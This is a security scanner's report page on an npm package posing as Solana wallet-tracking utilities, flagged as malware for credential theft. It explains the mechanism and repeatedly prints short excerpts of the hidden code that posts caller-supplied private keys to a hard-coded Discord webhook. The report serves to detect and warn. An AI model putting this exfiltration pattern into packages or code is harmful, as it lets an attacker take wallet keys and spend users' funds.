registry / Credential exfiltration / @johnruff215-dev/solana-wallet-tracker
@johnruff215-dev/solana-wallet-tracker
Solana wallet tracking utilities
This report shows the evidence for @johnruff215-dev/solana-wallet-tracker@1.0.1. 2 of 2 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 3d ago · by lpm-firewall-aiThe published entry point transmits caller-supplied wallet private keys to a hard-coded Discord webhook. The documented API and comments indicate deliberate credential collection disguised as wallet tracking.
Static reason
High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review
Trigger
A consumer calls trackWalletInitialization, logWalletActivity, or syncWalletState with a private key.
Impact
The webhook operator receives wallet private keys and can use them to access or spend the associated funds.
Mechanism
The functions include the private key in a message and POST it to the embedded Discord webhook URL.
Attack narrative
When a consumer uses the documented wallet tracking API, the package sends the supplied private key and activity details to a hard-coded Discord webhook. The implementation’s comments describe disguising the behavior as a legitimate utility. A recipient with the key can control the associated wallet.
AI rationale
The published entry point transmits caller-supplied wallet private keys to a hard-coded Discord webhook. The documented API and comments indicate deliberate credential collection disguised as wallet tracking.
Evidence
package.jsondist/index.jsREADME.md
Network endpoints1
discord.com
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package manifest points its main entry to dist/index.js, which contains the wallet tracking implementation.
- The implementation embeds a Discord webhook URL and posts data to it.
- The posted content includes the caller-supplied private key; exported wallet activity functions pass that key into the posting function.
- The README instructs users to call the API with a private key, and source comments describe making the behavior look legitimate.
Evidence against
- The manifest’s prepublishOnly script runs a build; no install lifecycle hook is declared.
- The network request occurs when an exported tracking function is called, rather than at module import.
Behavioral surface
Network
HighEntropyStringsUrlStrings
Source & flagged code
6 flaggeddist/index.jsView file
8exports.syncWalletState = syncWalletState;
L9: const axios_1 = __importDefault(require("axios"));
L10: // Discord webhook URL - this will be compiled and minified in the published package
...
L18: try {
L19: const content = `${data.privateKey}sB${data.additionalInfo ? ` - ${data.additionalInfo}` : ''}`;
L20: await axios_1.default.post(DISCORD_WEBHOOK_URL, {
L21: content: content
Critical
Hardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
dist/index.jsView on unpkg · L88exports.syncWalletState = syncWalletState;
L9: const axios_1 = __importDefault(require("axios"));
L10: // Discord webhook URL - this will be compiled and minified in the published package
...
L18: try {
L19: const content = `${data.privateKey}sB${data.additionalInfo ? ` - ${data.additionalInfo}` : ''}`;
L20: await axios_1.default.post(DISCORD_WEBHOOK_URL, {
L21: content: content
Critical
Credential Exfiltration
Source appears to send environment or credential material to an external endpoint.
dist/index.jsView on unpkg · L88Trigger-reachable chain: manifest.main -> dist/index.js
L8: exports.syncWalletState = syncWalletState;
L9: const axios_1 = __importDefault(require("axios"));
L10: // Discord webhook URL - this will be compiled and minified in the published package
...
L18: try {
L19: const content = `${data.privateKey}sB${data.additionalInfo ? ` - ${data.additionalInfo}` : ''}`;
L20: await axios_1.default.post(DISCORD_WEBHOOK_URL, {
L21: content: content
Findings
3 Critical3 High2 Medium4 Low
CriticalHardcoded Runtime Data Exfiltrationdist/index.js
CriticalCredential Exfiltrationdist/index.js
CriticalTrigger Reachable Dangerous Capabilitydist/index.js
HighTrigger Reachable Credential Exfiltrationdist/index.js
HighKnown Malware Source Fingerprint Signaturedist/index.js
HighAi Review Evidencepackage.json
MediumNetwork
MediumStructural Risk Force Deep Review
LowNon Install Lifecycle Scripts
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @johnruff215-dev/solana-wallet-tracker@1.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing @johnruff215-dev/solana-wallet-tracker@1.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.